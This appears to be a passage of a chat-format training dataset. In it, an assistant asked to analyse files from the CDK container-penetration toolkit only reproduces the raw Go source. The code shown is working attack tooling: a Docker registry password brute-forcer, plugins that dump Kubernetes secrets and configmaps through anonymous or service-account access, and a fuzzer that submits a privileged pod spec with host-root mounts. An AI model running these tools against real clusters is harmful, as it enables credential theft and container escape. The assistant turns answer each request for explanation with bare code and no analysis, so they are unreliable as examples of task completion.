normalizeInput(input string) []string {\n\n\tvar inputList []string\n\n\t// support username/password list file\n\tif util.FileExist(input) {\n\t\tinputList, err := util.ReadLines(input)\n\t\tif err != nil {\n\t\t\tlog.Fatalf(\"%s read error, %v\", input, err)\n\t\t}\n\t\treturn inputList\n\t}\n\n\t// support input format like: username or username,username1,username2\n\tinputList = strings.Split(input, \",\")\n\n\treturn inputList\n}\n\nfunc checkLogin(url string, username string, password string) bool {\n\n\tlogin := fmt.Sprintf(\"%s:%s\", username, password)\n\tsEnc := b64.StdEncoding.EncodeToString([]byte(login))\n\tauthorizationHeader := fmt.Sprintf(\"Basic %s\", sEnc)\n\n\treq, err := http.NewRequest(\"GET\", url, nil)\n\tif err != nil {\n\t\tlog.Printf(\"http.NewRequest error: %v\\n\", err)\n\t\treturn false\n\t}\n\n\tclient := &http.Client{}\n\treq.Header.Set(\"Authorization\", authorizationHeader)\n\tres, err := client.Do(req)\n\tif err != nil {\n\t\tlog.Printf(\"client.Do error: %v\\n\", err)\n\t\treturn false\n\t}\n\n\tif res.StatusCode == 200 {\n\t\treturn true\n\t} else {\n\t\treturn false\n\t}\n\n}\n\nfunc (p RegistryBruteS) Run() bool {\n\n\targs := cli.Args[\"\"].([]string)\n\tif len(args) != 3 {\n\t\tlog.Println(\"invalid input args.\")\n\t\tlog.Fatal(p.Desc())\n\t}\n\timageRegistryURL := args[0]\n\tusernameInput := args[1]\n\tpasswordInput := args[2]\n\n\tusernameList := normalizeInput(usernameInput)\n\tpasswordList := normalizeInput(passwordInput)\n\tv2URL := fmt.Sprintf(\"%sv2/\", imageRegistryURL)\n\n\tlog.Printf(\"user dict length: %d.\\n\", len(usernameList))\n\tlog.Printf(\"password dict length: %d.\\n\", len(passwordList))\n\n\tfor _, username := range usernameList {\n\t\tfor _, password := range passwordList {\n\t\t\tif checkLogin(v2URL, username, password) {\n\t\t\t\tlog.Printf(\"Account: %s:%s is available.\\n\", username, password)\n\t\t\t\t// run next account/username\n\t\t\t\tbreak\n\t\t\t}\n\t\t}\n\t}\n\n\tlog.Println(\"End!\")\n\treturn false\n\n}\n\nfunc init() {\n\texploit := RegistryBruteS{}\n\texploit.ExploitType = \"credential-access\"\n\tplugin.RegisterExploit(\"registry-brute\", exploit)\n}\n\n<|im_end|>"} {"text": "<|im_start|>user\nYou are a Singularity-Level AI. Analyze this file from the 'CDK' repository. Explain the technical logic, security implications (offensive/defensive), or financial algorithm involved.\nFile: pkg/exploit/credential_access/image_registry_brute_test.go\n<|im_end|>\n<|im_start|>assistant\nREPO: CDK\nCODE:\n//go:build !no_image_registry_brute\n// +build !no_image_registry_brute\n\n/*\nCopyright 2022 The Authors of https://github.com/CDK-TEAM/CDK .\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n http://www.apache.org/licenses/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage credential_access\n\nimport (\n\t\"fmt\"\n\t\"testing\"\n)\n\nfunc TestNormalizeInput(t *testing.T) {\n\n\tfmt.Printf(\"%v\\n\", normalizeInput(\"root\"))\n\n}\n\n<|im_end|>"} {"text": "<|im_start|>user\nYou are a Singularity-Level AI. Analyze this file from the 'CDK' repository. Explain the technical logic, security implications (offensive/defensive), or financial algorithm involved.\nFile: pkg/exploit/credential_access/k8s_configmap_dump.go\n<|im_end|>\n<|im_start|>assistant\nREPO: CDK\nCODE:\n//go:build !no_k8s_configmap_dump\n// +build !no_k8s_configmap_dump\n\n/*\nCopyright 2022 The Authors of https://github.com/CDK-TEAM/CDK .\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n http://www.apache.org/licenses/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage credential_access\n\nimport (\n\t\"fmt\"\n\t\"io/ioutil\"\n\t\"log\"\n\t\"strings\"\n\n\t\"github.com/cdk-team/CDK/pkg/exploit/base\"\n\n\t\"github.com/cdk-team/CDK/conf\"\n\t\"github.com/cdk-team/CDK/pkg/cli\"\n\t\"github.com/cdk-team/CDK/pkg/plugin\"\n\t\"github.com/cdk-team/CDK/pkg/tool/kubectl\"\n)\n\nvar configmapApi = \"/api/v1/configmaps\"\n\nfunc dumpK8sConfigmapSA(serverAddr string, tokenPath string) string {\n\tlog.Println(\"requesting \", configmapApi)\n\tresp, err := kubectl.ServerAccountRequest(\n\t\tkubectl.K8sRequestOption{\n\t\t\tTokenPath: tokenPath,\n\t\t\tServer: serverAddr, // default\n\t\t\tApi: configmapApi,\n\t\t\tMethod: \"get\",\n\t\t\tPostData: \"\",\n\t\t\tAnonymous: false,\n\t\t})\n\tif err != nil {\n\t\tfmt.Println(err)\n\t}\n\n\treturn resp\n}\n\nfunc dumpK8sConfigmapAnonymous(serverAddr string) string {\n\t// make direct request to api-server REST API\n\t// Ref https://github.com/kubernetes-client/python/blob/b79ad6837b2f5326c7dad488a64eed7c3987e856/kubernetes/README.md\n\n\tlog.Println(\"requesting \", configmapApi)\n\tresp, err := kubectl.ServerAccountRequest(\n\t\tkubectl.K8sRequestOption{\n\t\t\tTokenPath: \"\",\n\t\t\tServer: serverAddr, // default\n\t\t\tApi: configmapApi,\n\t\t\tMethod: \"get\",\n\t\t\tPostData: \"\",\n\t\t\tAnonymous: true,\n\t\t})\n\tif err != nil {\n\t\tfmt.Println(err)\n\t}\n\n\treturn resp\n}\n\n// plugin interface\ntype dumpK8sConfigmapS struct{ base.BaseExploit }\n\nfunc (p dumpK8sConfigmapS) Desc() string {\n\treturn \"try to dump K8s configmap in multiple ways, usage: cdk run k8s-configmap-dump (auto|)\"\n}\nfunc (p dumpK8sConfigmapS) Run() bool {\n\t// if your script needs input, parse os.Args by yourself.\n\targs := cli.Args[\"\"].([]string)\n\tif len(args) != 1 {\n\t\tlog.Println(\"invalid input args.\")\n\t\tlog.Fatal(p.Desc())\n\t}\n\n\t// get api-server connection conf in ENV\n\tlog.Println(\"getting K8s api-server API addr.\")\n\taddr, err := kubectl.ApiServerAddr()\n\tif err != nil {\n\t\tfmt.Println(err)\n\t\treturn false\n\t}\n\tfmt.Println(\"\\tFind K8s api-server in ENV:\", addr)\n\n\tvar resp string\n\tvar outFile = \"k8s_configmaps.json\"\n\tswitch args[0] {\n\tcase \"auto\":\n\t\tlog.Println(\"trying to dump K8s configmap with user system:anonymous\")\n\t\tresp = dumpK8sConfigmapAnonymous(addr)\n\t\tif !strings.Contains(resp, \"selfLink\") {\n\t\t\tlog.Println(\"failed, api-server response:\")\n\t\t\tfmt.Println(resp)\n\n\t\t\tlog.Println(\"trying to dump K8s configmap with local service-account:\", conf.K8sSATokenDefaultPath)\n\t\t\tresp = dumpK8sConfigmapSA(addr, conf.K8sSATokenDefaultPath)\n\t\t\tif !strings.Contains(resp, \"selfLink\") {\n\t\t\t\tlog.Println(\"failed, api-server response:\")\n\t\t\t\tfmt.Println(resp)\n\t\t\t\treturn false\n\t\t\t}\n\t\t}\n\n\tdefault:\n\t\tlog.Println(\"trying to dump K8s configmap with local service-account:\", args[0])\n\t\tresp = dumpK8sConfigmapSA(addr, args[0])\n\t\tif !strings.Contains(resp, \"selfLink\") {\n\t\t\tlog.Println(\"failed, api-server response:\")\n\t\t\tfmt.Println(resp)\n\t\t\treturn false\n\t\t}\n\t}\n\n\tlog.Println(\"dump configmap success, saved in: \", outFile)\n\terr = ioutil.WriteFile(outFile, []byte(resp), 0666)\n\tif err != nil {\n\t\tlog.Println(\"failed to write file.\", err)\n\t\treturn false\n\t}\n\n\treturn true\n}\n\nfunc init() {\n\texploit := dumpK8sConfigmapS{}\n\texploit.ExploitType = \"credential-access\"\n\tplugin.RegisterExploit(\"k8s-configmap-dump\", exploit)\n}\n\n<|im_end|>"} {"text": "<|im_start|>user\nYou are a Singularity-Level AI. Analyze this file from the 'CDK' repository. Explain the technical logic, security implications (offensive/defensive), or financial algorithm involved.\nFile: pkg/exploit/credential_access/k8s_secret_dump.go\n<|im_end|>\n<|im_start|>assistant\nREPO: CDK\nCODE:\n//go:build !no_k8s_secret_dump\n// +build !no_k8s_secret_dump\n\n/*\nCopyright 2022 The Authors of https://github.com/CDK-TEAM/CDK .\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n http://www.apache.org/licenses/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage credential_access\n\nimport (\n\t\"fmt\"\n\t\"io/ioutil\"\n\t\"log\"\n\t\"strings\"\n\n\t\"github.com/cdk-team/CDK/pkg/exploit/base\"\n\n\t\"github.com/cdk-team/CDK/conf\"\n\t\"github.com/cdk-team/CDK/pkg/cli\"\n\t\"github.com/cdk-team/CDK/pkg/plugin\"\n\t\"github.com/cdk-team/CDK/pkg/tool/kubectl\"\n)\n\nvar secretApi = \"/api/v1/secrets\"\n\nfunc dumpK8sSecretsSA(serverAddr string, tokenPath string) string {\n\tlog.Println(\"requesting \", secretApi)\n\tresp, err := kubectl.ServerAccountRequest(\n\t\tkubectl.K8sRequestOption{\n\t\t\tTokenPath: tokenPath,\n\t\t\tServer: serverAddr, // default\n\t\t\tApi: secretApi,\n\t\t\tMethod: \"get\",\n\t\t\tPostData: \"\",\n\t\t\tAnonymous: false,\n\t\t})\n\tif err != nil {\n\t\tfmt.Println(err)\n\t}\n\treturn resp\n}\n\nfunc dumpK8sSecretsAnonymous(serverAddr string) string {\n\tlog.Println(\"requesting \", secretApi)\n\tresp, err := kubectl.ServerAccountRequest(\n\t\tkubectl.K8sRequestOption{\n\t\t\tTokenPath: \"\",\n\t\t\tServer: serverAddr, // default\n\t\t\tApi: secretApi,\n\t\t\tMethod: \"get\",\n\t\t\tPostData: \"\",\n\t\t\tAnonymous: true,\n\t\t})\n\tif err != nil {\n\t\tfmt.Println(err)\n\t}\n\treturn resp\n}\n\n// plugin interface\ntype K8sSecretsDumpS struct{ base.BaseExploit }\n\nfunc (p K8sSecretsDumpS) Desc() string {\n\treturn \"try to dump K8s secret in multiple ways, usage: cdk run k8s-secret-dump (auto|)\"\n}\nfunc (p K8sSecretsDumpS) Run() bool {\n\targs := cli.Args[\"\"].([]string)\n\tif len(args) != 1 {\n\t\tlog.Println(\"invalid input args.\")\n\t\tlog.Fatal(p.Desc())\n\t}\n\n\t// get api-server connection conf in ENV\n\tlog.Println(\"getting K8s api-server API addr.\")\n\taddr, err := kubectl.ApiServerAddr()\n\tif err != nil {\n\t\tfmt.Println(err)\n\t\treturn false\n\t}\n\tfmt.Println(\"\\tFind K8s api-server in ENV:\", addr)\n\n\tvar resp string\n\tvar outFile = \"k8s_secrets.json\"\n\tswitch args[0] {\n\tcase \"auto\":\n\t\tlog.Println(\"trying to dump K8s Secrets with user system:anonymous\")\n\t\tresp = dumpK8sSecretsAnonymous(addr)\n\t\tif !strings.Contains(resp, \"selfLink\") {\n\t\t\tlog.Println(\"failed, api-server response:\")\n\t\t\tfmt.Println(resp)\n\n\t\t\tlog.Println(\"trying to dump K8s Secrets with local service-account:\", conf.K8sSATokenDefaultPath)\n\t\t\tresp = dumpK8sSecretsSA(addr, conf.K8sSATokenDefaultPath)\n\t\t\tif !strings.Contains(resp, \"selfLink\") {\n\t\t\t\tlog.Println(\"failed, api-server response:\")\n\t\t\t\tfmt.Println(resp)\n\t\t\t\treturn false\n\t\t\t}\n\t\t}\n\n\tdefault:\n\t\tlog.Println(\"trying to dump K8s Secrets with local service-account:\", args[0])\n\t\tresp = dumpK8sSecretsSA(addr, args[0])\n\t\tif !strings.Contains(resp, \"selfLink\") {\n\t\t\tlog.Println(\"failed, api-server response:\")\n\t\t\tfmt.Println(resp)\n\t\t\treturn false\n\t\t}\n\t}\n\n\tlog.Println(\"dump secret success, saved in: \", outFile)\n\terr = ioutil.WriteFile(outFile, []byte(resp), 0666)\n\tif err != nil {\n\t\tlog.Println(\"failed to write file.\", err)\n\t\treturn false\n\t}\n\n\treturn true\n}\n\nfunc init() {\n\texploit := K8sSecretsDumpS{}\n\texploit.ExploitType = \"credential-access\"\n\tplugin.RegisterExploit(\"k8s-secret-dump\", exploit)\n}\n\n<|im_end|>"} {"text": "<|im_start|>user\nYou are a Singularity-Level AI. Analyze this file from the 'CDK' repository. Explain the technical logic, security implications (offensive/defensive), or financial algorithm involved.\nFile: pkg/exploit/discovery/istio_check.go\n<|im_end|>\n<|im_start|>assistant\nREPO: CDK\nCODE:\n//go:build !no_istio_check\n// +build !no_istio_check\n\n/*\nCopyright 2022 The Authors of https://github.com/CDK-TEAM/CDK .\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n http://www.apache.org/licenses/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage discovery\n\nimport (\n\t\"encoding/json\"\n\t\"io/ioutil\"\n\t\"log\"\n\t\"net/http\"\n\t\"strings\"\n\n\t\"github.com/cdk-team/CDK/pkg/exploit/base\"\n\n\t\"github.com/cdk-team/CDK/pkg/plugin\"\n)\n\n// plugin interface\ntype istioCheckS struct{ base.BaseExploit }\n\nfunc (p istioCheckS) Desc() string {\n\treturn \"Check was the shell in a istio(service mesh) network, please note that this feature will request http://httpbin.org/get. Usage: cdk run istio-check.\"\n}\n\ntype isioHeader struct {\n\tXAmznTraceId string `json:\"X-Amzn-Trace-Id\"`\n\tXB3Sampled string `json:\"X-B3-Sampled\"`\n\tXB3Spanid string `json:\"X-B3-Spanid\"`\n\tXB3Traceid string `json:\"X-B3-Traceid\"`\n\tXEnvoyAttemptCount string `json:\"X-Envoy-Attempt-Count\"`\n\tXEnvoyPeerMetadata string `json:\"X-Envoy-Peer-Metadata\"`\n\tXEnvoyPeerMetadataId string `json:\"X-Envoy-Peer-Metadata-Id\"`\n}\n\ntype response struct {\n\tHeader isioHeader `json:\"headers\"`\n}\n\nfunc (p istioCheckS) Run() bool {\n\n\tvar result = response{}\n\t// idea from https://blog.neargle.com/backup/CIS2020%20-%20Attack%20in%20a%20Service%20Mesh%20-%20Public.pdf\n\tresp, err := http.Get(\"http://httpbin.org/get\")\n\tif err != nil {\n\t\tlog.Fatalf(\"cannot fetch http://httpbin.org/get , get err: %v\", err)\n\t}\n\tdefer resp.Body.Close()\n\n\terr = json.NewDecoder(resp.Body).Decode(&result)\n\tif err != nil {\n\t\tlog.Printf(\"cannot decode JSON: %v\", err)\n\t\tbodyBytes, _ := ioutil.ReadAll(resp.Body)\n\t\tlog.Fatalf(\"respone error: %s\", string(bodyBytes))\n\t}\n\n\t// check X-Envoy-Peer-Metadata-Id\n\tif strings.Contains(result.Header.XEnvoyPeerMetadataId, \"sidecar\") {\n\t\tlog.Println(\"the shell is in a istio(service mesh) network.\")\n\t\tlog.Printf(\"X-Envoy-Peer-Metadata-Id is %s.\\n\", result.Header.XEnvoyPeerMetadataId)\n\t\tlog.Printf(\"X-Envoy-Peer-Metadata is %s.\\n\", result.Header.XEnvoyPeerMetadata)\n\t\treturn true\n\t} else {\n\t\tlog.Fatalf(\"the shell is not in a istio(service mesh) network.\")\n\t}\n\n\treturn false\n}\n\nfunc init() {\n\texploit := istioCheckS{}\n\texploit.ExploitType = \"discovery\"\n\tplugin.RegisterExploit(\"istio-check\", exploit)\n}\n\n<|im_end|>"} {"text": "<|im_start|>user\nYou are a Singularity-Level AI. Analyze this file from the 'CDK' repository. Explain the technical logic, security implications (offensive/defensive), or financial algorithm involved.\nFile: pkg/exploit/discovery/k8s_cluster_info.go\n<|im_end|>\n<|im_start|>assistant\nREPO: CDK\nCODE:\n/*\nCopyright 2022 The Authors of https://github.com/CDK-TEAM/CDK .\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n http://www.apache.org/licenses/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage discovery\n\nimport (\n\t\"fmt\"\n\t\"log\"\n\n\t\"github.com/cdk-team/CDK/pkg/tool/kubectl\"\n)\n\nvar configmapApi = \"/api/v1/configmaps\"\n\nfunc GetNamespaces(serverAddr string) string {\n\tlog.Println(\"requesting \", configmapApi)\n\tresp, err := kubectl.ServerAccountRequest(\n\t\tkubectl.K8sRequestOption{\n\t\t\tTokenPath: \"\",\n\t\t\tServer: serverAddr, // default\n\t\t\tApi: \"/api/v1/namespaces\",\n\t\t\tMethod: \"get\",\n\t\t\tPostData: \"\",\n\t\t\tAnonymous: true,\n\t\t})\n\tif err != nil {\n\t\tfmt.Println(err)\n\t}\n\n\treturn resp\n}\n\nfunc GetNodes(serverAddr string) string {\n\tlog.Println(\"requesting \", configmapApi)\n\tresp, err := kubectl.ServerAccountRequest(\n\t\tkubectl.K8sRequestOption{\n\t\t\tTokenPath: \"\",\n\t\t\tServer: serverAddr, // default\n\t\t\tApi: \"/api/v1/namespaces\",\n\t\t\tMethod: \"get\",\n\t\t\tPostData: \"\",\n\t\t\tAnonymous: true,\n\t\t})\n\tif err != nil {\n\t\tfmt.Println(err)\n\t}\n\n\treturn resp\n}\n\n<|im_end|>"} {"text": "<|im_start|>user\nYou are a Singularity-Level AI. Analyze this file from the 'CDK' repository. Explain the technical logic, security implications (offensive/defensive), or financial algorithm involved.\nFile: pkg/exploit/discovery/k8s_psp_dump.go\n<|im_end|>\n<|im_start|>assistant\nREPO: CDK\nCODE:\n/*\nCopyright 2022 The Authors of https://github.com/CDK-TEAM/CDK .\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n http://www.apache.org/licenses/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage discovery\n\nimport (\n\t\"fmt\"\n\t\"io/ioutil\"\n\t\"log\"\n\t\"regexp\"\n\t\"strings\"\n\n\t\"github.com/cdk-team/CDK/pkg/exploit/base\"\n\n\t\"github.com/cdk-team/CDK/conf\"\n\t\"github.com/cdk-team/CDK/pkg/cli\"\n\t\"github.com/cdk-team/CDK/pkg/plugin\"\n\t\"github.com/cdk-team/CDK/pkg/tool/kubectl\"\n\t\"github.com/cdk-team/CDK/pkg/util\"\n)\n\nvar pspApi = \"/apis/policy/v1beta1/podsecuritypolicies\"\nvar defaultPodApi = \"/api/v1/namespaces/default/pods\"\nvar pspRegexPat = \"spec\\\\.([^:]+): Invalid value: ([^:]+):\"\n\n/*\nPodData is from a pod yaml config for hit more pod security policy(https://kubernetes.io/docs/concepts/policy/pod-security-policy/) as below:\n\napiVersion: v1\nkind: Pod\nmetadata:\n name: cdk-fuzz-psp\nspec:\n securityContext:\n runAsUser: 1000\n runAsGroup: 3000\n supplementalGroups: [ 10001]\n fsGroup: 10001\n sysctls:\n - name: net.ipv4.ip_local_port_range\n value: \"10000 61000\"\n - name: net.ipv4.tcp_fin_timeout\n value: \"30\"\n hostPID: true\n hostIPC: true\n hostNetwork: true\n containers:\n - name: nearcontainer\n image: \"alpine\"\n securityContext:\n privileged: true\n runAsUser: 0\n capabilities:\n add:\n - CAP_CHOWN\n - CAP_DAC_OVERRIDE\n - CAP_DAC_READ_SEARCH\n - CAP_FOWNER\n - CAP_FSETID\n - CAP_KILL\n - CAP_SETGID\n - CAP_SETUID\n - CAP_SETPCAP\n - CAP_LINUX_IMMUTABLE\n - CAP_NET_BIND_SERVICE\n - CAP_NET_BROADCAST\n - CAP_NET_ADMIN\n - CAP_NET_RAW\n - CAP_IPC_LOCK\n - CAP_IPC_OWNER\n - CAP_SYS_MODULE\n - CAP_SYS_RAWIO\n - CAP_SYS_CHROOT\n - CAP_SYS_PTRACE\n - CAP_SYS_PACCT\n - CAP_SYS_ADMIN\n - CAP_SYS_BOOT\n - CAP_SYS_NICE\n - CAP_SYS_RESOURCE\n - CAP_SYS_TIME\n - CAP_SYS_TTY_CONFIG\n - CAP_MKNOD\n - CAP_LEASE\n - CAP_AUDIT_WRITE\n - CAP_AUDIT_CONTROL\n - CAP_SETFCAP\n - CAP_MAC_OVERRIDE\n - CAP_MAC_ADMIN\n - CAP_SYSLOG\n - CAP_WAKE_ALARM\n - CAP_BLOCK_SUSPEND\n - CAP_AUDIT_READ\n - CAP_PERFMON\n - CAP_BPF\n - CAP_CHECKPOINT_RESTORE\n command: [\"/bin/sh\", \"-c\", \"sleep 1\"]\n volumeMounts:\n - name: dev\n mountPath: /host/dev\n - name: etc\n mountPath: /host/etc\n - name: proc\n mountPath: /host/proc\n - name: sys\n mountPath: /host/sys\n - name: rootfs\n mountPath: /host_root\n volumes:\n - name: proc\n hostPath:\n path: /proc\n - name: etc\n hostPath:\n path: /etc\n - name: dev\n hostPath:\n path: /dev\n - name: sys\n hostPath:\n path: /sys\n - name: rootfs\n hostPath:\n path: /\n*/\n\nvar podData = `{\n \"apiVersion\": \"v1\",\n \"kind\": \"Pod\",\n \"metadata\": {\n \"name\": \"cdk-fuzz-psp\"\n },\n \"spec\": {\n \"containers\": [\n {\n \"command\": [\n \"/bin/sh\",\n \"-c\",\n \"sleep 1\"\n ],\n \"image\": \"alpine\",\n \"name\": \"nearcontainer\",\n \"securityContext\": {\n \"capabilities\": {\n \"add\": [\n \"CAP_CHOWN\",\n \"CAP_DAC_OVERRIDE\",\n \"CAP_DAC_READ_SEARCH\",\n \"CAP_FOWNER\",\n \"CAP_FSETID\",\n \"CAP_KILL\",\n \"CAP_SETGID\",\n \"CAP_SETUID\",\n \"CAP_SETPCAP\",\n \"CAP_LINUX_IMMUTABLE\",\n \"CAP_NET_BIND_SERVICE\",\n \"CAP_NET_BROADCAST\",\n \"CAP_NET_ADMIN\",\n \"CAP_NET_RAW\",\n \"CAP_IPC_LOCK\",\n \"CAP_IPC_OWNER\",\n \"CAP_SYS_MODULE\",\n \"CAP_SYS_RAWIO\",\n \"CAP_SYS_CHROOT\",\n \"CAP_SYS_PTRACE\",\n \"CAP_SYS_PACCT\",\n \"CAP_SYS_ADMIN\",\n \"CAP_SYS_BOOT\",\n \"CAP_SYS_NICE\",\n \"CAP_SYS_RESOURCE\",\n \"CAP_SYS_TIME\",\n \"CAP_SYS_TTY_CONFIG\",\n \"CAP_MKNOD\",\n \"CAP_LEASE\",\n \"CAP_AUDIT_WRITE\",\n \"CAP_AUDIT_CONTROL\",\n \"CAP_SETFCAP\",\n \"CAP_MAC_OVERRIDE\",\n \"CAP_MAC_ADMIN\",\n \"CAP_SYSLOG\",\n \"CAP_WAKE_ALARM\",\n \"CAP_BLOCK_SUSPEND\",\n \"CAP_AUDIT_READ\",\n \"CAP_PERFMON\",\n \"CAP_BPF\",\n \"CAP_CHECKPOINT_RESTORE\"\n ]\n },\n \"privileged\": true,\n \"runAsUser\": 0\n },\n \"volumeMounts\": [\n {\n \"mountPath\": \"/host/dev\",\n \"name\": \"dev\"\n },\n {\n \"mountPath\": \"/host/etc\",\n \"name\": \"etc\"\n },\n {\n \"mountPath\": \"/host/proc\",\n \"name\": \"proc\"\n },\n {\n \"mountPath\": \"/host/sys\",\n \"name\": \"sys\"\n },\n {\n \"mountPath\": \"/host_root\",\n \"name\": \"rootfs\"\n }\n ]\n }\n ],\n \"hostIPC\": true,\n \"hostNetwork\": true,\n \"hostPID\": true,\n \"securityContext\": {\n \"fsGroup\": 10001,\n \"runAsGroup\": 3000,\n \"runAsUser\": 1000,\n \"supplementalGroups\": [\n 10001\n ],\n \"sysctls\": [\n {\n \"name\": \"net.ipv4.ip_local_port_range\",\n \"value\": \"10000 61000\"\n },\n {\n \"name\": \"net.ipv4.tcp_fin_timeout\",\n \"value\": \"30\"\n }\n ]\n },\n \"volumes\": [\n {\n \"hostPath\": {\n \"path\": \"/proc\"\n },\n \"name\": \"proc\"\n },\n {\n \"hostPath\": {\n \"path\": \"/etc\"\n },\n \"name\": \"etc\"\n },\n {\n \"hostPath\": {\n \"path\": \"/dev\"\n },\n \"name\": \"dev\"\n },\n {\n \"hostPath\": {\n \"path\": \"/sys\"\n },\n \"name\": \"sys\"\n },\n {\n \"hostPath\": {\n \"path\": \"/\"\n },\n \"name\": \"rootfs\"\n }\n ]\n }\n}`\n\n// plugin interface\ntype K8SPodSecurityPolicy struct{ base.BaseExploit }\n\nfunc (p K8SPodSecurityPolicy) Desc() string {\n\treturn \"Dump K8S Pod Security Policies and try, usage: cdk run k8s-psp-dump (auto|)\"\n}\n\nfunc dumpPSPBlockRule(serverAddr string, tokenPath string) {\n\tlog.Println(\"requesting \", defaultPodApi)\n\tresp, err := kubectl.ServerAccountRequest(\n\t\tkubectl.K8sRequestOption{\n\t\t\tTokenPath: tokenPath,\n\t\t\tServer: serverAddr,\n\t\t\tApi: defaultPodApi,\n\t\t\tMethod: \"post\",\n\t\t\tPostData: podData,\n\t\t\tAnonymous: false,\n\t\t})\n\tif err != nil {\n\t\tfmt.Println(err)\n\t}\n\n\tpat := regexp.MustCompile(pspRegexPat)\n\tmatches := pat.FindAllStringSubmatch(resp, -1)\n\n\tif len(matches) == 0 {\n\t\tfmt.Println(resp)\n\t\treturn\n\t}\n\n\tlog.Println(\"K8S Pod Security Policies rule list:\")\n\tfor _, match := range matches {\n\t\tlog.Printf(\"rule { %s: %s } is not allowed.\", match[1], match[2])\n\t}\n}\n\nfunc dumpK8sPSP(serverAddr string, tokenPath string, anonymous bool) string {\n\tlog.Println(\"requesting \", pspApi)\n\tresp, err := kubectl.ServerAccountRequest(\n\t\tkubectl.K8sRequestOption{\n\t\t\tTokenPath: tokenPath,\n\t\t\tServer: serverAddr, // default\n\t\t\tApi: pspApi,\n\t\t\tMethod: \"get\",\n\t\t\tPostData: \"\",\n\t\t\tAnonymous: anonymous,\n\t\t})\n\tif err != nil {\n\t\tfmt.Println(err)\n\t}\n\treturn resp\n}\n\nfunc (p K8SPodSecurityPolicy) Run() bool {\n\targs := cli.Args[\"\"].([]string)\n\tif len(args) < 1 {\n\t\tlog.Println(\"invalid input args.\")\n\t\tlog.Fatal(p.Desc())\n\t}\n\n\t// get api-server connection conf in ENV\n\tlog.Println(\"getting K8s api-server API addr.\")\n\taddr, err := kubectl.ApiServerAddr()\n\tif err != nil {\n\t\tfmt.Println(err)\n\t\treturn false\n\t}\n\tfmt.Println(\"\\tFind K8s api-server in ENV:\", addr)\n\n\tvar resp string\n\tvar outFile = \"k8s_pod_security_policies.json\"\n\n\tswitch args[0] {\n\tcase \"auto\":\n\t\tlog.Println(\"trying to dump K8s Pod Security Policies with user system:anonymous\")\n\t\tresp = dumpK8sPSP(addr, \"\", true) // dump K8s Pod Security Policies with Anonymous\n\t\tif strings.Contains(resp, `\"code\":403`) {\n\t\t\tlog.Println(\"failed, 403 Forbidden, api-server response:\")\n\t\t\tfmt.Println(resp)\n\n\t\t\tlog.Println(\"trying to dump K8s Pod Security Policies with local service-account:\", conf.K8sSATokenDefaultPath)\n\t\t\tresp = dumpK8sPSP(addr, conf.K8sSATokenDefaultPath, false)\n\n\t\t\t// ./cdk run k8s-psp-dump auto force-fuzz\n\t\t\t// we can run fuzz anyway\n\t\t\tif !strings.Contains(resp, \"selfLink\") || util.StringContains(args, \"force-fuzz\") {\n\t\t\t\tlog.Println(\"failed, api-server response:\")\n\t\t\t\tfmt.Println(resp)\n\n\t\t\t\tdumpPSPBlockRule(addr, conf.K8sSATokenDefaultPath)\n\t\t\t\treturn false\n\t\t\t}\n\t\t}\n\n\tdefault:\n\t\tlog.Println(\"trying to dump K8s Pod Security Policies with local service-account:\", args[0])\n\t\tresp = dumpK8sPSP(addr, args[0], false)\n\n\t\tif !strings.Contains(resp, \"selfLink\") {\n\t\t\tlog.Println(\"failed, api-server response:\")\n\t\t\tfmt.Println(resp)\n\n\t\t\tdumpPSPBlockRule(addr, args[0])\n\t\t\treturn false\n\t\t}\n\t}\n\n\tlog.Println(\"dump Pod Security Policies success, saved in: \", outFile)\n\terr = ioutil.WriteFile(outFile, []byte(resp), 0666)\n\tif err != nil {\n\t\tlog.Println(\"failed to write file.\", err)\n\t\treturn false\n\t}\n\n\treturn true\n}\n\nfunc init() {\n\texploit := K8SPodSecurityPolicy{}\n\texploit.ExploitType = \"discovery\"\n\tplugin.RegisterExploit(\"k8s-psp-dump\", exploit)\n}\n\n<|im_end|>"} {"text": "<|im_start|>user\nYou are a Singularity-Level AI. Analyze this file from the 'CDK' repository. Explain the technical logic, security implications (offensive/defensive), or financial algorithm involved.\nFile: pkg/exploit/discovery/service_probe.go\n<|im_end|>\n<|im_start|>assistant\nREPO: CDK\nCODE:\n//go:build !no_service_probe\n// +build 